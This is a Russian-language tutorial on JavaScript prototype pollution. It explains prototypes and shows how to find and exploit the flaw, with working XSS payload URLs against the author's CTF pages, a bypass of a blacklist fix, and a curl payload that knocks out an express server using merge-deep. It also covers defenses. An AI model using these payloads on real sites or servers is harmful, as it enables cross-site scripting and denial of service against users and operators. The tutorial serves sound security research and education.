Если вы следите за отчетами исследователей, которые участвуют в bug bounty программах, то наверняка знаете про категорию уязвимостей JavaScript prototype pollution. А если не следите и встречаете это словосочетание впервые, то предлагаю вам закрыть этот пробел, ведь эта уязвимость может привести к полной компрометации сервера и клиента. Наверняка хотя бы один продуктов вашей (или не вашей) компании работает на JavaScript: клиентская часть веб-приложения, десктоп (Electron), сервер (NodeJS) или мобильное приложение.
Эта статья поможет вам погрузиться в тему prototype pollution. В разделах Особенности JavaScript и Что такое prototype pollution? вы узнаете как работают объекты и прототипы JavaScript и как особенности их функционирования могут привести к уязвимостям. В разделах Prototype pollution на сервере и Prototype pollution на клиенте вы научитесь искать и эксплуатировать эту уязвимость на кейсах из реального мира. Наконец вы изучите способы защиты и почему самый распространенный способ защиты можно легко обойти.
Прежде чем перейти к следующим разделам, предлагаю вам открыть инструменты разработчика и по ходу статьи попробовать приведенные примеры своими руками, с тем чтобы в результате получить некоторый практический опыт и глубже понять материал.
Особенности JavaScript
Уязвимость prototype pollution присуща исключительно языку JavaScript. Стало быть, прежде чем разбираться с самой уязвимостью, нам необходимо разобраться в особенностях JavaScript, которые к ней приводят.
Объект
Как в JavaScript существуют объекты? Откроем инструменты разработчика и создадим простой объект, содержащий два свойства.
> var o = {name: 'Ivan', surname: 'Ivanov'}
< undefined
Мы можем получить доступ к свойствам объекта двумя основными способами.
> o.name
< "Ivan"
> o['surname']
< "Ivanov"
Что будет, если мы попробуем получить доступ к несуществующему свойству?
> o.age
< undefined
Мы получили значение undefined
, что означает отсутствие свойства. Пока что ничего необычного.
В JavaScript с функциями можно обращаться как с обычными переменными (подробности в статье функции первого класса), поэтому методы объекта определяются как свойства и по сути ими и являются. Добавим метод foo()
на объекте o
и вызовем его.
> o.foo = function() {
> console.log("foobar")
> }
> o.foo()
< foobar
< undefined
Пробуем вызвать метод toString()
.
> o.toString()
< "[object Object]"
Внезапно метод toString()
исполняется, несмотря на то что у объекта o
нет метода toString()
! Проверить это мы можем с помощью функции Object.getOwnPropertyNames()
.
> Object.getOwnPropertyNames(o)
< (2) ["name", "surname", "foo"]
Действительно, только три свойства: name
, surname
и foo
. Откуда же вязался метод toString()
?
Прототип объекта
JavaScript минималистичен с точки зрения количества сущностей. Практически любая сущность является объектом, включая: массивы, функции и даже определение класса! На классах мы немного задержимся.
В JavaScript нет классов в привычном большинству программистов понимании. Если ранее вы не сталкивались с классами в JavaScript, но имеете опыт использования классов в других языках, то первым делом предлагаю забыть все что вы знаете о классах.
Итак, представьте что у вас есть две сущности: объект и примитив (число, строка, null
и т.п.). Как с их помощью реализовать такую удобную фичу классов как наследование? Можно выделить специальное свойство, которое будет у каждого объекта. Оно будет содержать ссылку на родителя. Назовем это свойство [[Prototype]]
. Окей, а что если мы не хотим наследовать все свойства и методы от родителя? Давайте выделим специальное свойство у родителя от которого будут наследоваться свойства и методы и назовем его prototype
!
Узнать прототип объекта можно несколькими способами, например с помощью метода Object.getPrototypeOf()
.
> Object.getPrototypeOf(o)
< {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
Нам вернулось ни что иное как Object.prototype
, который является прототипом практически всех объектов в JavaScript. Убедиться, что это Object.prototype
достаточно легко.
> Object.getPrototypeOf(o) === Object.prototype
< true
Когда вы обращаетесь к свойству объекта через o.name
или o['name']
на самом деле происходит следующее:
- Движок JavaScript ищет свойство
name
в объектеo
. - Если свойство есть, то оно возвращается. Иначе берется прототип объекта
o
и свойство ищется в нем!
Вот и получается, что метод toString()
на самом деле определен в Object.prototype
, но так как при создании объекта его прототипом неявно назначается Object.prototype
мы можем вызывать метод toString()
практически у всего.
У родителя в свою очередь тоже может быть прототип, у родителя родителя тоже и так далее. Такая последовательность прототипов от объекта до null
называется цепочкой прототипов или prototype chain. В связи с этим небольшая ремарка: при обращении к свойству свойство ищется во всей цепочке прототипов.
В случае с объектом o
цепочка прототипов относительно короткая, всего лишь один прототип.
> o.__proto__
< {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
> o.__proto__.__proto__
< null
Чего не скажешь об объекте window
.
> window.__proto__
< Window {TEMPORARY: 0, PERSISTENT: 1, Symbol(Symbol.toStringTag): "Window", constructor: ƒ}
> window.__proto__.__proto__
< WindowProperties {Symbol(Symbol.toStringTag): "WindowProperties"}
> window.__proto__.__proto__.__proto__
< EventTarget {Symbol(Symbol.toStringTag): "EventTarget", addEventListener: ƒ, dispatchEvent: ƒ, removeEventListener: ƒ, constructor: ƒ}
> window.__proto__.__proto__.__proto__.__proto__
< {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
> window.__proto__.__proto__.__proto__.__proto__.__proto__
< null
Кстати, слово "прототип" в JavaScript может обозначать как минимум три разные вещи в зависимости от контекста:
- Внутреннее свойство
[[Prototype]]
. Внутренним оно называется потому что оно живет в "кишках" движка JavaScript, мы получаем к нему доступ только через специальные функции__proto__
,Object.getPrototypeOf()
и другие. - Свойство
prototype
:Object.prototype
,Function.prototype
и другие. - Свойство
__proto__
. Редкое и не совсем корректное применение, потому что технически__proto__
это getter / setter и лишь достает ссылку на прототип объекта и возвращает ее.
Что такое prototype pollution?
Термином prototype pollution называют ситуацию, когда изменяют свойство prototype
базовых объектов (например, Object.prototype
, Function.prototype
, Array.prototype
).
> Object.prototype.age = 42
< 42
> var a = []
< undefined
> a.age
< 42
После исполнения этого кода практически у любого объекта будет свойство age
со значением 42
. Исключением является два случая:
- Если на объекте определено свойство
age
, то оно перекроет аналогичное свойство прототипа. - Если объект не наследуется от
Object.prototype
.
Как prototype pollution может выглядеть в коде? Рассмотрим программу pp.js
.
$ cat pp.js
var o = {};
var a = process.argv[2];
var b = 'test';
var v = process.argv[3];
console.log(({}).test);
o[a][b] = v;
console.log(({}).test);
Если злоумышленник контролирует параметры a
и v
, то он может установить a
в значение '__proto__'
и v
в произвольное строковое значение, таким образом добавив свойство test
на Object.prototype
.
$ node pp.js __proto__ 123
undefined
123
Поздравляю, мы только что нашли prototype pollution! "Но кто в здравом уме будет использовать подобные конструкции?" — спросите вы. Действительно, данный пример редко встретишь в реальной жизни. Однако существуют конструкции, на первый взгляд безобидные, которые при определенных обстоятельствах позволяют нам добавлять или изменять свойства Object.prototype
. Конкретные примеры мы разберем в следующих разделах.
Prototype pollution на клиенте
Клиентский prototype pollution начали активно исследовать в середине 2020 года. На данный момент хорошо исследован вектор, когда пейлод находится в параметрах запроса (после ?
) или в фрагменте (после #
). Подобная уязвимость чаще всего эскалируется до Reflected XSS.
Вполне возможно, что пейлод можно не только передать в параметрах запроса или фрагменте, но и сохранить на сервере. Таким образом пейлод будет отрабатывать каждый раз и для каждого пользователя, который посетит определенную страницу, вне зависимости от того посетил ли он вредоносную ссылку.
Поиск prototype pollution
Давайте попробуем найти prototype pollution на уязвимом сайте https://ctf.nikitastupin.com/pp/known.html
. Самый простой способ это сделать — установить расширение PPScan для Google Chrome и посетить уязвимую страницу.
Мы видим, что счетчик на иконке расширении стал равен двум — значит какой-то из пейлодов сработал. Если нажмем на иконку расширения, то увидим пейлоды, которые демонстрируют наличие уязвимости.
Расширение PPScan в действии
Попробуем один из пейлодов руками: перейдем по ссылке https://ctf.nikitastupin.com/pp/known.html?__proto__[polluted]=test
, откроем инструменты разработчика и проверим результат.
> Object.prototype.polluted
< "test"
Отлично, пейлод сработал! К сожалению, сам по себе клиентский prototype pollution не несет серьезной опасности. В лучшем случае с его помощью можно сделать клиентский DoS, который лечится обновлением страницы.
Импакт и поиск гаджетов
На клиенте больше всего интересна эскалация до XSS. JavaScript код, с помощью которого можно эскалировать prototype pollution до нормальной уязвимости, называется гаджетом. Как правило у нас есть либо известный гаджет, либо мы должны искать гаджеты самостоятельно. Самостоятельный поиск новых гаджетов это дело достаточно трудоемкое.
Использование существующих гаджетов
В первую очередь имеет смысл проверить существующие гаджеты в репозитории BlackFan/client-side-prototype-pollution или в Cross-site scripting (XSS) cheat sheet.
Есть как минимум два способа проверки известных гаджетов:
- С помощью плагина Wappalyzer.
- С помощью скрипта fingerprint.js.
Воспользуемся вторым методом, но прежде поймем как он работает. Как правило, гаджет определят специфичные переменные в глобальном контексте, по наличию которых можно установить присутствие гаджета. Например, если вы используете Twitter Ads, то наверняка будете использовать Twitter Universal Website Tag, который определит переменную twq
. По большому счету fingerprint.js проверяет наличие конкретных переменных в глобальном контексте. Гаджеты и соответствующие им переменные я позаимствовал из BlackFan/client-side-prototype-pollution.
Скопируем скрипт и исполним его в контексте уязвимой страницы.
Скрипт fingerprint.js показывает, что на странице есть Twitter Universal Website Tag гаджет
Похоже, что на странице есть Twitter Universal Website Tag гаджет. Находим описание гаджета в BlackFan/client-side-prototype-pollution, больше всего нас интересует секция PoC с готовым пейлодом. Пробуем пейлод на уязвимом сайте https://ctf.nikitastupin.com/pp/known.html?__proto__[hif][]=javascript:alert(document.domain)
.
Успешная эксплуатация prototype pollution с помощью известного гаджета
Через пару секунд появляется заветный alert()
, отлично!
Поиск новых гаджетов
Что делать в случае, когда гаджета нет? Перейдем на https://ctf.nikitastupin.com/pp/unknown.html
и убедимся, что он уязвим к prototype pollution https://ctf.nikitastupin.com/pp/unknown.html?__proto__[polluted]=31337
.
> Object.prototype.polluted
< "31337"
Однако на этот раз fingerprint.js не нашел гаджеты.
Скрипт fingerprint.js не нашел гаджеты
Несмотря на то что Wappalyzer сообщает о наличии jQuery это ложное положительное срабатывание из-за библиотеки jquery-deparam, которая используется на сайте https://ctf.nikitastupin.com/pp/unknown.html
.
Ложное положительное срабатывание плагина Wappalyzer
Существует несколько подходов к поиску новых гаджетов:
- filedescriptor/untrusted-types. На момент написания статьи существует две версии плагина:
main
иold
. Мы будем использоватьold
, потому что она проще чемmain
. Изначально этот плагин разрабатывался для поиска DOM XSS, подробности можно найти в видео Finding DOMXSS with DevTools | Untrusted Types Chrome Extension. - pollute.js. Как работает этот инструмент, а так же какие уязвимости он позволил найти можно прочитать в статье Prototype pollution – and bypassing client-side HTML sanitizers.
- Искать руками, с помощью отладчика.
Воспользуемся первым подходом. Устанавливаем плагин, открываем консоль и переходим на https://ctf.nikitastupin.com/pp/unknown.html
. По большому счету расширение filedescriptor/untrusted-types просто логирует все обращения к API, которые могут привести к DOM XSS.
Используем плагин filedescriptor/untrusted-types для поиска новых гаджетов
В нашем случае всего два кейса. Теперь нам необходимо вручную проверить каждый кейс и понять можем ли мы с помощью prototype pollution поменять какую-либо переменную, чтобы достичь XSS.
Первым идет eval
с аргументом this
, его мы пропускаем. Во втором кейсе видим, что атрибуту src
некоторого HTML элемента присваивается значение https://ctf.nikitastupin.com/pp/hello.js
. Идем в стэк трейс, переходим по loadContent @ unknown.html:17
и перед нами появляется следующий код.
...
function loadContent() {
var scriptSource = window.scriptSource || "https://ctf.nikitastupin.com/pp/hello.js";
const s = document.createElement('script');
s.src = scriptSource;
document.body.appendChild(s);
}
...
Этот код подгружает скрипт s
. Источник скрипта задается переменной scriptSource
. Переменная scriptSource
в свою очередь принимает уже существующее значение window.scriptSource
, либо значение по умолчанию "https://ctf.nikitastupin.com/pp/hello.js"
.
Тут-то и кроется наш гаджет. С помощью prototype pollution мы можем определить произвольное свойство на Object.prototype
, который конечно же является прототипом window
. Пробуем добавить значение Object.prototype.scriptSource =
, для этого переходим на https://ctf.nikitastupin.com/pp/unknown.html?__proto__[scriptSource]=https://ctf.nikitastupin.com/pp/alert.js
.
Успешная эксплуатация prototype pollution с помощью нового гаджета
И вот он наш alert()
! Мы только что нашли новый гаджет для конкретного сайта.
Вы возможно скажете, что это искусственный пример и в реальном мире такого не встретишь. Однако на практике подобные кейсы встречаются, потому что конструкция var v = v || "default"
достаточно распространен в JavaScript. Например, гаджет для библиотеки leizongmin/js-xss, который описан в разделе "XSS" статьи Prototype pollution – and bypassing client-side HTML sanitizers как раз таки использует эту конструкцию.
Необычный кейс
Помимо обычных векторов __proto__[polluted]=1337
и __proto__.polluted=31337
однажды я наткнулся на странный кейс. Это было на одном большом сайте. К сожалению репорт еще не раскрыт, поэтому без имени компании. Мой приватный плагин для поиска prototype pollution сообщал об уязвимости, но воспроизвести c помощью обычных векторов ее не удавалось. Я сел разбираться руками в чем же дело. Уязвимость уже исправили, но у нас есть дубликат.
Переходим на https://ctf.nikitastupin.com/pp/bypass.html?__proto__[polluted]=1337&__proto__.polluted=31337
. Открываем инструменты разработчика и проверяем сработала ли уязвимость.
> Object.prototype.polluted
< VM30:1 Uncaught ReferenceError: polluted is not defined
< at <anonymous>:1:1
Похоже уязвимость не сработала, но давайте заглянем чуть глубже в исходный код.
...
var t = new Test;
t.aaa.utils.deparam(location.search.slice(1));
Уже знакомая нам функция deparam
вызывается с аргументом location.search
. Посмотрим на определение функции.
...
aaa.utils.deparam = function(t, e) {
var n = ["__proto__", "constructor", "prototype"],
...
Сразу же понимаем, что имеем дело с минифицированным кодом, поэтому будет труднее. Далее замечаем знакомые строки "__proto__"
, "constructor"
и "prototype"
. Скорее всего это черный список параметров, а это означает, что разработчики уже пытались исправить уязвимость. Но почему же тогда плагин нашел уязвимость? Разбираемся дальше.
Дальнейшее понимание минифицированного исходного кода в статике крайне трудно, поэтому ставим точку останова на строке h = h[a] = u < p ? h[a] || (l[u + 1] && isNaN(l[u + 1]) ? {} : []) : o
. Точку останова ставим на строке, которая приведена ниже. Почему именно на ней? Дело в том, что плагин заметил prototype pollution именно на ней, поэтому с нее логичнее всего начать. перезагружаем страницу и попадаем в отладчик.
Ищем обход фикса с помощью отладчика
Теперь мы видим конструкцию, которая может привести к уязвимости: h = {}; a = "__PROTO__"; h = h[a] = ...
. Почему же уязвимость не срабатывает? Дело в том, что __PROTO__
и __proto__
это разные идентификаторы. Дальнейшая идея была в том, чтобы разобраться как в точности применяется черный список и попробовать найти обход. После пары часов работы с отладчиком я понял внутреннюю логику работы функции, что к словам из черного списка применяют toUpperCase()
, попробовал обойти эту операцию, но попытки не увенчались успехом.
Поэтому я решил посмотреть на картину шире, разобраться с тем кодом, который я еще не видел. Из чего-то, что могло помочь с обходом, осталась лишь одна строка.
...
aaa.utils.isArray(i[a]) ? i[a].push(o) : void 0 !== i[a] ? i[a] = [i[a], o] : i[a] = o
...
На первый взгляд эта строка обрабатывает массивы (например, a[0]=31&a[1]=337
распарсится в a = [31, 337]
). Если присмотреться пристальнее, то обычные объекты (например, b=42
) тоже обрабатываются этой строчкой. Несмотря на то, что этот код не приводит к prototype pollution напрямую, здесь не используется черный список, а значит это надежда на обход!
Я вспомнил кейс когда prototype pollution исправили похожим образом (черный список __proto__
, constructor
, prototype
), а другой исследователь обошел это и смог изменять свойства типа toString
, в итоге DoS. Моей первой идеей было изменить метод includes()
, чтобы он возвращал false
. Но потом я понял, что я могу добавить только строку, а когда includes
это строка и мы делаем вызов ()
на ней, то возникает исключение (includes is not a function
) и скрипт не работает дальше.
После этого я вспомнил, что массивы в JavaScript это обычные объекты, а следовательно к элементам массива можно получить доступ через квадратные скобки.
> var a = [1, 2, 3]
< undefined
> a["0"]
< 1
Вслед за этим у меня появилась идея, что можно сначала положить __proto__
в элемент массива, а затем обратиться к этому элементу через индекс, таким образом обойдя черный список.
Ставим точку останова на строке aaa.utils.isArray(i[a]) ...
. Пробуем пейлод https://ctf.nikitastupin.com/pp/bypass.html?v=1337
, попадаем в отладчик, жмем "Step over next function call". В результате исполняется i[a] = o
, проверяем значение i
.
> i
< {v: "1337"}
А что будет если вместо v
указать __proto__
? Пробуем пейлод https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337
, на этот раз исполняется i[a] = [i[a], o]
и проверяем значение i
.
> i
< Array {}
__proto__: Array(2)
0: {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
1: "1337"
length: 2
__proto__: Array(0)
Воу! В итоге получается весьма причудливый объект, но самое важное, что этот объект будет использоваться при парсинге следующих параметров! Как нам это поможет, спросите вы? Ответ буквально в одном шаге от нас.
Уберем предыдущую точку останова и добавим точку останова на строке h = h[a]
, на потенциально уязвимой конструкции. Так же добавим еще один параметр в пейлод https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337&o[k]=leet
. Попадаем в отладчик и проверяем значение h[0]
.
> h["0"] === Object.prototype
< true
> h
< Array {}
__proto__: Array(2)
0: {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
1: "1337"
length: 2
__proto__: Array(0)
Внезапно у нас появился доступ к Object.prototype
! Чтобы понять почему так произошло, давайте вспомним, что (1) к элементам массива в JavaScript можно обращаться с помощью квадратных скобок, причем индекс может быть строкой, (2) если свойство не найдено на объекте, то поиск продолжается в цепочке прототипов. Вот и получается, что когда мы исполняем h["0"]
, то свойство "0"
, которого нет на объекте h
, берется из прототипа h.__proto__
и значение его равно Object.prototype
.
Значит если мы изменим o
на 0
, то мы сможем добавить свойство на Object.prototype
? Отключаем точки останова, пробуем https://ctf.nikitastupin.com/pp/bypass.html?__proto__=1337&0[k]=leet
и проверяем результат.
> Object.prototype.k
< "leet"
Думаю, вы уже все поняли сами.
Prototype pollution на сервере
Все началось с исследования Olivier Arteau — Prototype pollution attacks in NodeJS applications
, prototype-pollution-nsec18. Оливер обнаружил уязвимость prototype pollution сразу в нескольких npm пакетах, включая один из самых популярных пакетов lodash (CVE-2018-3721). Пакет lodash используется во многих приложениях и пакетах JavaScript экосистемы. В том числе он применяется в популярной Ghost CMS, которая, из-за этого, была уязвима к удаленному выполнения кода, для эксплуатации уязвимости не требовалась аутентификация.
Поиск prototype pollution
Без исходного кода данный класс уязвимостей достаточно тяжело обнаружить и эксплуатировать. Исключение составляют случае, когда у вас есть CVE и готовый пейлод. Но допустим у нас есть исходный код. На какие места в коде стоит обращать внимание? Где чаще всего встречается данная уязвимость?
Какие конструкции подвержены уязвимости?
Чаще всего prototype pollution находят в следующих конструкциях / операциях:
- рекурсивное слияние объектов (например, jonschlinkert/merge-deep)
- клонирование объекта (например, jonschlinkert/clone-deep)
- преобразование GET параметров в JavaScript объект (например, AceMetrix/jquery-deparam)
- преобразование конфигурационных файлов
.toml
или.ini
в JavaScript объект (например, npm/ini)
Мы можем проследить закономерность: уязвимы те операции, которые на вход принимают сложную структуру данных (например, .toml
) и преобразуют ее в JavaScript объект.
Динамический анализ
Начнем с динамического, так как он проще для понимания и применения. Алгоритм довольно простой и уже реализован в find-vuln:
- Скачать npm пакет.
- Вызывать каждую функцию в пакете, с пейлодом в качестве аргумента.
- Проверить отработала ли уязвимость.
Единственный недостаток find-vuln.js в том, что он не проверяет constructor.prototype
и поэтому пропускает часть уязвимостей, но этот пробел достаточно легко исправить.
Похожим алгоритмом я обнаружил CVE-2020-28460 и уязвимость в пакете merge-deep. Обе уязвимости я репортил через Snyk. С первой все прошло гладко, а вот со второй вышла забавная ситуация. После отправки репорта мейнтейнер долго не выходил на связь и в итоге эту же уязвимость нашли GitHub Security Lab, сумели выйти на мейнтейнера раньше и зарегистрировали (GHSL-2020-160).
В целом, внося небольшие изменения в find-vuln.js даже сейчас можно находить уязвимости в npm пакетах.
Статический анализ
Данный тип уязвимостей трудно искать простым grep
-ом, но можно весьма успешно искать с помощью CodeQL. Существующие CodeQL запросы действительно находят prototype pollution в реальных пакетах, хотя на данный момент покрыты далеко не все варианты этой уязвимости.
Импакт
Допустим мы обнаружили библиотеку, уязвимую к prototype pollution. Какой ущерб эта уязвимость может нанести системе?
В NodeJS окружении это практически всегда гарантированный DoS, потому что можно перезаписать базовую функцию (например, Object.prototype.toString()
) и все вызовы этой функции будут возвращать исключение. Рассмотрим на примере популярного сервера expressjs/express.
$ cat server.js
var merge = require('merge-deep');
var express = require('express');
var bodyParser = require('body-parser');
var app = express();
app.use(bodyParser.json({
type: 'application/*+json'
}));
app.get('/', function(req, res) {
res.send("Use the POST method !");
});
app.post('/', function(req, res) {
merge({}, req.body);
res.send(req.body);
});
app.listen(3000, function() {
console.log('Example app listening on port 3000!')
});
Устанавливаем зависимости и запускаем сервер.
$ npm i merge-deep@3.0.2 express body-parser
$ node server.js
И в другой вкладке терминала отправляем пейлод.
$ curl -i localhost:3000
HTTP/1.1 200 OK
...
$ curl -H "Content-Type: application/javascript+json" --data '{"constructor":{"keys":1}}' http://localhost:3000
HTTP/1.1 500 Internal Server Error
...
$ curl -i localhost:3000
HTTP/1.1 500 Internal Server Error
...
Как видите, после отправки пейлода сервер теряет возможность обрабатывать даже простые GET запросы, потому что express внутри использует Object.keys()
, который мы успешно превратили из функции в число.
Зачастую в веб-приложении можно раскрутить до удаленного выполнения кода. Как правило это делается через шаблонизаторы. Подробности эксплуатации можно найти в статьях ниже.
- AST Injection, Prototype Pollution to RCE
- Real-world JS — 1
- Prototype pollution attack in NodeJS application
Защита
Исправить данную уязвимость можно по-разному, начнем с наиболее популярного варианта.
Черный список полей
Чаще всего разработчики просто добавляют __proto__
черный список и не копируют это поле. Так делают даже опытные разработчики (например, кейс npm/ini).
Такой фикс легко обойти используя constructor.prototype
вместо __proto__
.
С одной стороны этот метод прост в реализации и зачастую его хватает для исправления уязвимости, с другой стороны он не искореняет проблему, потому что все еще остается возможность изменения Object.prototype
и других прототипов.
Object.create(null)
Можно использовать объект без прототипа, тогда модификация прототипа будет невозможна.
> var o = Object.create(null)
< undefined
> o.__proto__
< undefined
Минус в том, что дальше этот объект может поломать часть функционала. Например, кто-то захочет вызвать на этом объекте toString()
и в ответ получит undefined
.
Object.freeze()
Еще один вариант это "заморозить" Object.prototype
с помощью функции Object.freeze()
. После этого Object.prototype
нельзя будет модифицировать.
Однако есть несколько подводных камней:
- Могут сломаться зависимости, которые модифицируют
Object.prototype
. - В общем случае вам придется замораживать
Array.prototype
и другие объекты.
JSON схема
Можно валидировать входные данные на соответствие заранее определенной JSON схеме и отбрасывать все остальные параметры. Например, это можно сделать с помощью библиотеки avj с параметром additionalProperties = false
.
Итоги
JavaScript prototype pollution крайне опасная уязвимость, ее необходимо больше изучать как с точки зрения поиска новых векторов, так и с точки зрения поиска новых гаджетов (эксплуатации). На клиенте совсем не развит вектор, когда пейлод сохранен на сервере, поэтому здесь есть простор для дальнейшего исследования.
Кроме того, у JavaScript есть много других интересных особенностей, которые можно использовать для новых уязвимостей, например DEF CON Safe Mode — Feng Xiao — Discovering Hidden Properties to Attack Node js Ecosystem. Наверняка есть и другие тонкости JavaScript, которые могут приводить к настолько же серьезным или более серьезным последствиям для безопасности приложений.
Благодарности
В первую очередь хочется поблагодарить Olivier, Michał Bentkowski, Sergey Bobrov, s1r1us, po6ix, William Bowling за статьи, доклады и программы по теме prototype pollution, которыми они поделились со всеми. Без них исследование едва бы началось :)
Сергею Боброву и Михаилу Егорову за коллаборацию в поиске уязвимостей.
За вычитку, обратную связь и другую помощь по статье спасибо Анатолию Катюшину, Александру Барабанову, Денису Макрушину и Дмитрию Жерегеле.
Ссылки
- BlackFan/client-side-prototype-pollution / Cross-site scripting (XSS) cheat sheet
- Prototype pollution – and bypassing client-side HTML sanitizers
- PPScan
- AST Injection, Prototype Pollution to RCE
- Real-world JS — 1
- Prototype pollution attack in NodeJS application
Примеры:
- Reflected XSS on www.hackerone.com via Wistia embed code
- [toolbox.teslamotors.com] HTML Injection via Prototype Pollution / Potential XSS
- Discord Desktop app RCE
Другое:
- DEF CON Safe Mode — Feng Xiao — Discovering Hidden Properties to Attack Node js Ecosystem